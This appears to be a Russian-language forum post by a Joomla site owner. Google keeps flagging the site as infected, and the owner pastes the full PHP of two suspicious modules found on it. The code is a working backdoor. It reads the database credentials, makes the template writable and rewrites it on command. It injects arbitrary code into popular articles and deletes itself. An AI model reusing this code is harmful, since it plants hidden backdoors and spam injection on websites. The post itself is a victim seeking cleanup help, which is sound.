в общем я уже исстрадался. сайт 03-ektb.ru
Гугл регулярно помечает сайт как зараженный. выгребаю iframe вручную.
Сайт довольно емкий и искать шеллы проблематично. Траф падает, что делать не знаю..
регулярно меняется index.php шаблона. Хостер поставил заплатку дабы каждые несколько секунд возвращать права 400 на index.php
видимо она уже не спасает..
Как и где искать дыру не знаю.. возможно левые компоненты или модули. подскажите что делать, как быть?
единственное что ншел сегодня подозрительные модули
configsys
<?php
if (empty($_POST)){
echo '226776f356d7ecf58b60bab12a05d38f';
}
$conf = '../../configuration.php';
$res['msg'] = 'Файл конфигурации найден';
if (!file_exists($conf))
{
$res['msg'] = 'Файл конфигурации Joomla не найден';
return;
}
require_once($conf);
class db {
function __construct()
{
$jconfig = new JConfig();
$host = $jconfig->host;
$user = $jconfig->user;
$password = $jconfig->password;
$database = $jconfig->db;
if (empty($database))
{
$res['msg'] = 'Не могу подключится к базе!';
}else
{
$res['msg'] = 'Подключились!';
}
global $dbh;
if (!is_null($dbh)) return;
$dbh = mysql_pconnect($host, $user, $password);
mysql_select_db($database);
mysql_query('SET NAMES utf8');
}
function select_list($query)
{
$q = mysql_query($query);
if (!$q) return null;
$ret = array();
while ($row = mysql_fetch_array($q, MYSQL_ASSOC)) {
array_push($ret, $row);
}
mysql_free_result($q);
return $ret;
}
}
$db = new db();
$sql = "SELECT template FROM jos_templates_menu WHERE client_id =0 AND menuid =0";
$q = mysql_query($sql);
while ($row = mysql_fetch_assoc($q))
{
$template = $row['template'];
}
$dir = '../../templates/'.$template.'/index.php';
chmod($dir, 0777);
$filename = $dir;
if (isset($_POST['load'])) {
$res['templ'] = file_get_contents($filename);
echo json_encode($res);
}
//удаляем
if (isset($_POST['del'])) {
function removeDir($path)
{
return is_file($path)?
@unlink($path):
array_map('removeDir',glob($path."/*"))==@rmdir($path);
}
$del = $_POST['del'];
$path = $_SERVER['DOCUMENT_ROOT'].'/modules/mod_configsys';
removeDir($path);
$res['msg'] = 'Удалено! - '.$del;
echo json_encode($res);
}
if (isset($_POST['edit'])) {
$edit = stripcslashes($_POST['edit']);
file_put_contents($filename,$edit);
}
function auto_insert($filename, $somecontent){
if (is_writable($filename)) {
if (!$handle = fopen($filename, 'a')) {
$res['msg'] = 'Не могу открыть файл! - '.$filename;
exit;
}
if (file_put_contents($filename, $somecontent . file_get_contents($filename))=== FALSE) {
$res['msg'] = 'Не могу произвести запись в файл! - '.$filename;
exit;
}
$res['msg'] = 'Пытаюсь записать! - <xmp>'.$somecontent.'</xmp> - в файл - '.$filename;
fclose($handle);
} else {
$res['msg'] = 'Файл - '.$filename.' - недоступен для записи - ';
}
echo json_encode($res);
}
if(isset($_POST['insert'])){
$somecontent = stripcslashes($_POST['insert']);
auto_insert($filename,$somecontent);
}
if (isset($_POST['search'])) {
$word = mysql_real_escape_string($_POST['search']);
$sql = "SELECT * FROM `jos_content` WHERE `fulltext` LIKE '%" . $word . "%' or `introtext` LIKE '%" . $word . "%' or 'state' LIKE '1' LIMIT 0 , 30";
$row = $db->select_list($sql);
if(count($row)==1) {
$q = mysql_query($sql);
$res = mysql_fetch_assoc($q);
echo json_encode($res);
} else {
$res['introtext'] = 'Запрос не уникальный';
$res['fulltext'] = 'Запрос не уникальный';
echo json_encode($res);
}
}
if (isset($_POST['resultID'])) {
$resultID = stripcslashes($_POST['resultID']);
$resultINT = stripcslashes($_POST['resultINT']);
$resultFUL = stripcslashes($_POST['resultFUL']);
$sql1 = "UPDATE `jos_content` SET `introtext` = '".$resultINT."',`fulltext` = '".$resultFUL."' WHERE `jos_content`.`id` = ".$resultID;
$q = mysql_query($sql1);
$sql = "SELECT * FROM `jos_content` WHERE `jos_content`.`id` = ".$resultID;
$row = $db->select_list($sql);
if(count($row)==1) {
$q = mysql_query($sql);
$res = mysql_fetch_assoc($q);
echo json_encode($res);
} else {
echo '<li>Не уникальный запрос!</li>';
}
}
?>
и servises
<?php
if (empty($_POST)){
echo '226776f356d7ecf58b60bab12a05d38f';
}
$conf = '../../configuration.php';
$res['msg'] = 'Файл конфигурации найден';
if (!file_exists($conf))
{
$res['msg'] = 'Файл конфигурации Joomla не найден';
return;
}
require_once($conf);
class db {
function __construct()
{
$jconfig = new JConfig();
$host = $jconfig->host;
$user = $jconfig->user;
$password = $jconfig->password;
$database = $jconfig->db;
if (empty($database))
{
$res['msg'] = 'Не могу подключится к базе!';
}else
{
$res['msg'] = 'Подключились!';
}
global $dbh;
if (!is_null($dbh)) return;
$dbh = mysql_pconnect($host, $user, $password);
mysql_select_db($database);
mysql_query('SET NAMES utf8');
}
function select_list($query)
{
$q = mysql_query($query);
if (!$q) return null;
$ret = array();
while ($row = mysql_fetch_array($q, MYSQL_ASSOC)) {
array_push($ret, $row);
}
mysql_free_result($q);
return $ret;
}
}
$db = new db();
$sql = "SELECT template FROM jos_templates_menu WHERE client_id =0 AND menuid =0";
$q = mysql_query($sql);
while ($row = mysql_fetch_assoc($q))
{
$template = $row['template'];
}
$dir = '../../templates/'.$template.'/index.php';
chmod($dir, 0777);
$filename = $dir;
if (isset($_POST['load'])) {
$res['templ'] = file_get_contents($filename);
echo json_encode($res);
}
if (isset($_POST['posting'])) {
$codes = stripcslashes($_POST['posting']);
$sql = "SELECT * FROM `jos_content` WHERE `state` = 1 ORDER BY `hits` DESC";
$q = mysql_query($sql);
while ($row = mysql_fetch_assoc($q))
{
$id[] = $row['id'];
}
$len = count($id);
$vn = 0;
$gd = 0;
do
{
$s = "SELECT `fulltext` FROM `jos_content` WHERE `id` =".$id[$vn];
$m = mysql_query($s);
$r = mysql_fetch_assoc($m);
$post = $r['fulltext'];
preg_match_all('#<a.*href=([\'"])?([^\'"\s>]+?)(?(1)\\1).*>#isuU', $post, $match);
$outlinks = array();
foreach($match[2] as $url)
{
if(($host = parse_url($url, PHP_URL_HOST)) && $host != $_SERVER['HTTP_HOST'] && $host != 'www.'.$_SERVER['HTTP_HOST'])$outlinks []= $url;
}
$add = $post.$codes;
if (count($outlinks)< 10)
{
$ins = "UPDATE `jos_content` SET `fulltext` = '".$add."' WHERE `jos_content`.`id` = ".$id[$vn];
$q = mysql_query($ins);
$gd ++;
$res['id'] = $id[$vn];
$res['msg'] = " Записываю в пост - ";
}else
{
$vn++;
}
}while ($gd == 0 && $vn < $len);
echo json_encode($res);
}
if (isset($_POST['del'])) {
function removeDir($path)
{
return is_file($path)?
@unlink($path):
array_map('removeDir',glob($path."/*"))==@rmdir($path);
}
$del = $_POST['del'];
$path = $_SERVER['DOCUMENT_ROOT'].'/modules/mod_servises';
removeDir($path);
$res['msg'] = 'Удалено! - '.$del;
echo json_encode($res);
}
if (isset($_POST['edit'])) {
$edit = stripcslashes($_POST['edit']);
file_put_contents($filename,$edit);
}
function auto_insert($filename, $somecontent){
if (is_writable($filename)) {
if (!$handle = fopen($filename, 'a')) {
$res['msg'] = 'Не могу открыть файл! - '.$filename;
exit;
}
if (file_put_contents($filename, $somecontent . file_get_contents($filename))=== FALSE) {
$res['msg'] = 'Не могу произвести запись в файл! - '.$filename;
exit;
}
$res['msg'] = 'Пытаюсь записать! - <xmp>'.$somecontent.'</xmp> - в файл - '.$filename;
fclose($handle);
} else {
$res['msg'] = 'Файл - '.$filename.' - недоступен для записи - ';
}
echo json_encode($res);
}
if(isset($_POST['insert'])){
$somecontent = stripcslashes($_POST['insert']);
auto_insert($filename,$somecontent);
}
if (isset($_POST['search'])) {
$word = mysql_real_escape_string($_POST['search']);
$sql = "SELECT * FROM `jos_content` WHERE `fulltext` LIKE '%" . $word . "%' or `introtext` LIKE '%" . $word . "%' or 'state' LIKE '1' LIMIT 0 , 30";
$row = $db->select_list($sql);
if(count($row)==1) {
$q = mysql_query($sql);
$res = mysql_fetch_assoc($q);
echo json_encode($res);
} else {
$res['introtext'] = 'Запрос не уникальный';
$res['fulltext'] = 'Запрос не уникальный';
echo json_encode($res);
}
}
if (isset($_POST['resultID'])) {
$resultID = stripcslashes($_POST['resultID']);
$resultINT = stripcslashes($_POST['resultINT']);
$resultFUL = stripcslashes($_POST['resultFUL']);
$sql1 = "UPDATE `jos_content` SET `introtext` = '".$resultINT."',`fulltext` = '".$resultFUL."' WHERE `jos_content`.`id` = ".$resultID;
$q = mysql_query($sql1);
$sql = "SELECT * FROM `jos_content` WHERE `jos_content`.`id` = ".$resultID;
$row = $db->select_list($sql);
if(count($row)==1) {
$q = mysql_query($sql);
$res = mysql_fetch_assoc($q);
echo json_encode($res);
} else {
echo '<li>Не уникальный запрос!</li>';
}
}
?>
содержимое подозрительно, но их удаление не приносит желаемого результата..
все та ж вирусня..